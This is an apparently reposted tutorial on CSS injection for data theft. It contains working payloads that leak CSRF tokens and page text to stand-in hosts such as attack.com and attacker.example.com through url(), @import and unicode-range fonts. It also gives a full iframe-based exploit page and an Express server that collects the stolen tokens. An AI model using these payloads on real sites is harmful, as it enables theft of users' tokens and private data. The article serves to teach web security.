CSS injection knowledge summary

CSS injection knowledge summary

Modern browsers no longer allow JavaScript to be executed in CSS. In the past, CSS injection could use the JavaScript protocol to execute JavaScript code in url() and expression() to achieve XSS. However, CSS injection is still very useful in stealing data. Let’s analyze them one by one below.

CSS injection steals tag attribute data

Attribute selectors can be used in CSS to select tags based on different attributes. For example, the following CSS selects the p tag that has an a attribute and whose value is abc.

<style>p[a="abc"]{ color: red;}</style>
 <pa="abc">hello world</p>

Attribute selectors can also match certain characteristics of values, such as starting with XXX, ending with XXX, etc.

Using the above properties we can use it to steal data in the page tag attributes. For example, when csrfToken starts with a certain letter, the attacker can be notified through url() to steal the first digit of csrfToken.

<style>
input[value^="0"] {
    background: url(http://attack.com/0);
}
input[value^="1"] {
    background: url(http://attack.com/1);
}
input[value^="2"] {
    background: url(http://attack.com/2);
}
...
input[value^="Y"] {
    background: url(http://attack.com/Y);
}
input[value^="Z"] {
    background: url(http://attack.com/Z);
}
</style>

<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

The first one is Z, then steal the second one

<style>
input[value^="Z0"] {
    background: url(http://attack.com/0);
}
...
input[value^="ZZ"] {
    background: url(http://attack.com/Z);
}
</style>
<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

Solve hidden

Of course there is still a problem. When the tag type=hidden , the browser does not allow us to set background , so we cannot trigger the url() request to the server.

One solution is to use the ~ CSS sibling selector to set the background for all subsequent sibling nodes.

input[value^="Z"] ~*{
    background: url(http://attack.com/Z);
}

Batch Implementation

Of course, if the number of digits is shorter and the possibilities are fewer we can list them all, but there are usually too many, so we need to use tricks to get them in batches.

Assume that the target website with CSS injection is as follows, and the goal is to steal the csrfToken value in the input tag.

<!DOCTYPE html>
<html>
<head>
    <title>CSS injection</title>
</head>
<body>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<input type="" name="">
<style><?php echo $_GET['css']?></style>
</body>
</html>

With iframe

When the response header of a website with CSS injection is not protected by X-Frame-Options , we can create a malicious page, use js to create an iframe containing the vulnerable website, use CSS injection to obtain a csrfToken value and submit it to the server through url() . The server instructs the front-end js to continue creating an iframe to steal the second value, and continue the above operation until all are read. Of course, this requires that the content of the vulnerable website does not change each time it is requested.

There is a problem here. How does the server instruct the front-end js to construct the CSS? Just like in the example above, if the first bit stolen is Z, then the second payload should start with Z.

The following payload comes from https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d

The idea is that the front-end js uses setTimeout to periodically request the server, and the server returns the token obtained by injecting css.

<html>
    <style>
        #frames {
            visibility: hidden;
        }
    </style>
    <body>
        <div id="current"></div>
        <div id="time_to_next"></div>
        <div id="frames"></div>
    </body>
    <script>
        vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
        server_receive_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';

        chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        known = "";

        function test_char(known, chars) {
            // Remove all the frames
            document.getElementById("frames").innerHTML = "";

            // Append the chars with the known chars
            css = build_css(chars.map(v => known + v));

            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
            frame = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
            document.getElementById("frames").appendChild(frame);

            // in 1 seconds, after the iframe loads, check to see if we got a response yet
            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        function build_css(values) {
            css_payload = "";
            for(var value in values) {
                css_payload += "input[value^=\""
                    + values[value]
                    + "\"]~*{background-image:url(" 
                    + server_receive_token_url
                    + values[value]
                    + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            return css_payload;
        }

        function known_listener () {
            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
            if(known != this.responseText) {
                known = this.responseText;
                test_char(known, chars);
            } else {
                known = this.responseText;
                alert("CSRF token is: " + known);
            }
        }

        test_char("", chars);
    </script>
</html>

The server code was written by me to match its payload.

var express = require('express');
var app = express();
var path = require('path');
var token = "";

app.get('/receive/:token', function(req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});

app.get('/return', function(req, res){
    res.send(token);
});

app.get('/client.html', function(req, res){
    res.sendFile(path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

Another method is to write the token into a cookie through the server and periodically check whether the cookie has changed.

I also found that some masters used websocket to implement it more elegantly. https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa

No iframe

https://github.com/dxa4481/cssInjection Here is a method of injection without iframe.

The principle is also very simple. Since we cannot use iframe to introduce the vulnerable page, we can continuously open a new window through window.open , which can achieve similar effects as mentioned above. Of course, this method requires hijacking the user's click behavior, otherwise the browser will prohibit opening a new window.

This article also proposes a solution without a background server, using service workers to intercept client requests and store the obtained token value in local localstorage.

@import

Using the @import feature in Chrome, this method is proposed in this article: https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b The advantage of this method is that you can get all the tokens without refreshing the page and no iframe is required, but the disadvantage is that it can only be used in Chrome, and according to its characteristics, it must be injected into the style tag header.

In addition to the common <link> tag to introduce external styles, CSS can also be introduced through @import .

@import url(http://style.com/css.css);

But @import must be declared first in the style sheet header, and the semicolon is required. The stylesheet introduced by @import will directly replace the corresponding inline style.

When implementing the above effect, Chrome recalculates the other style sheets of the page every time the @import external style sheet is returned. We can use this feature to nest @import and obtain the entire token with one request.

This is a picture from his article, very vivid.

This figure assumes that the length of the data to be stolen is 3. The first injected CSS content is @import url(http://attacker.com/staging);, which returns

@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);

At this time, the page needs to get @import url(http://attacker.com/polling?len=0); style sheet, and it returns a payload that steals the token.

@import url(http://attacker.com/polling?len=1); will respond after the stolen data is sent to the server. The response is the second bit of data stolen....

The article also provides an open-source tool to exploit this vulnerability, which is very simple to use.

https://github.com/d0nutptr/sic

Steal tag content data

Stealing tag content data is relatively troublesome. There was a question about this in last year’s xctf final.

Guessing using unicode-range

According to the idea of ​​​​https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html, you can specify the font description unicode-range of @font-face and notify the server when a certain character exists.

<style>
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?A); /* fetched */
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?B); /* fetched too */
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?C); /* not fetched */
 unicode-range:U+0043;
}
#sensitive-information{
 font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

Of course, this only tells you which characters are included, and it becomes meaningless when there are too many characters. But it's a good idea and may be useful in certain situations.

Using Ligatures

This is the method that xctf masters used to solve problems last year.

In short, a ligature is a combination of several characters. You can search on Baidu for more information. Here we can create a font ourselves, in which the width of all characters is set to 0, and the width of the ligature flag is set to be very large. At this time, if flag string appears in the specified tag content, a scroll bar will appear due to the width. When the scroll bar appears, use url() to request the server.

This way we can keep guessing backwards. The details of creating fonts and payloads are provided here.

Summarize

This is the end of this article about the summary of CSS injection knowledge. For more relevant CSS injection content, please search for previous articles on 123WORDPRESS.COM or continue to browse the related articles below. I hope everyone will support 123WORDPRESS.COM in the future!

<<:  Writing High-Quality Code Web Front-End Development Practice Book Excerpts

>>:  After Apache is installed, the service cannot be started (error code 1 appears when starting the service)

Recommend

Detailed explanation of how to view MySQL memory usage

Preface This article mainly introduces the releva...

A brief discussion on the perfect adaptation solution for Vue mobile terminal

Preface: Based on a recent medical mobile project...

How to enable MySQL remote connection

For security reasons, MySql-Server only allows th...

SQL implementation of LeetCode (181. Employees earn more than managers)

[LeetCode] 181.Employees Earning More Than Their ...

MySQL Database Indexes and Transactions

Table of contents 1. Index 1.1 Concept 1.2 Functi...

CSS3 border effects

What is CSS# CSS (abbreviation of Cascading Style...

2 methods and precautions for adding scripts in HTML

How to add <script> script in HTML: 1. You c...

CSS position fixed left and right double positioning implementation code

CSS Position The position attribute specifies the...

How to implement paging query in MySQL

SQL paging query:background In the company's ...

Complete steps of centos cloning linux virtual machine sharing

Preface When a Linux is fully set up, you can use...

Configuring MySQL and Squel Pro on Mac

In response to the popularity of nodejs, we have ...

Detailed tutorial on installing Ubuntu 19.10 on Raspberry Pi 4

Because some dependencies of opencv could not be ...

A brief talk about calculated properties and property listening in Vue

Table of contents 1. Computed properties Syntax: ...

Solve the problems encountered when installing MySQL 8.0 on Win10 system

The problems and solutions encountered when insta...

How to split and merge multiple values ​​in a single field in MySQL

Multiple values ​​combined display Now we have th...